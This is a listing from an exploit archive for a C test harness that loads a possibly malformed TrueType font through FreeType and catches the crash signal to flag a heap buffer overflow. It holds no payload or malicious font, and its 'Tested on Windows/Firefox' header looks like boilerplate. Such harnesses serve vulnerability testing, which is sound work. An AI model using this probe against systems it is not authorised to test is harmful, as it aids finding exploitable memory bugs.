Share
## https://sploitus.com/exploit?id=PACKETSTORM:223392
==================================================================================================================================
| # Title : FreeType Font Rendering Overflow Test Harness Crash Detection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://freetype.org/ |
==================================================================================================================================
[+] Summary : This C program is a testing harness built around the FreeType font rendering library to detect potential memory corruption issues
(such as heap buffer overflows) when loading malicious or malformed TrueType font files.
[+] POC :
#include <ft2build.h>
#include FT_FREETYPE_H
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
jmp_buf crash_jmp;
void sigsegv_handler(int sig) {
longjmp(crash_jmp, 1);
}
int main(int argc, char** argv) {
FT_Library library;
FT_Face face;
int overflow_detected = 0;
if (argc < 2) {
printf("Usage: %s malicious.ttf [glyph_index]\n", argv[0]);
return 1;
}
signal(SIGSEGV, sigsegv_handler);
if (setjmp(crash_jmp) == 0) {
FT_Init_FreeType(&library);
FT_Property_Set(library, "truetype", "interpreter-version", 35);
if (FT_New_Face(library, argv[1], 0, &face)) {
printf("Failed to load font\n");
return 1;
}
int glyph_index = (argc > 2) ? atoi(argv[2]) : 2;
printf("[*] Loading glyph %d...\n", glyph_index);
int error = FT_Load_Glyph(face, glyph_index,
FT_LOAD_NO_SCALE | FT_LOAD_NO_HINTING);
if (!error) {
printf("[!] Glyph loaded without crash (patch might be applied)\n");
} else {
printf("[!] Error loading glyph: %d\n", error);
}
FT_Done_Face(face);
FT_Done_FreeType(library);
} else {
printf("[+] CRASH DETECTED: Heap buffer overflow occurred!\n");
overflow_detected = 1;
}
return overflow_detected ? 0 : 1;
}
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================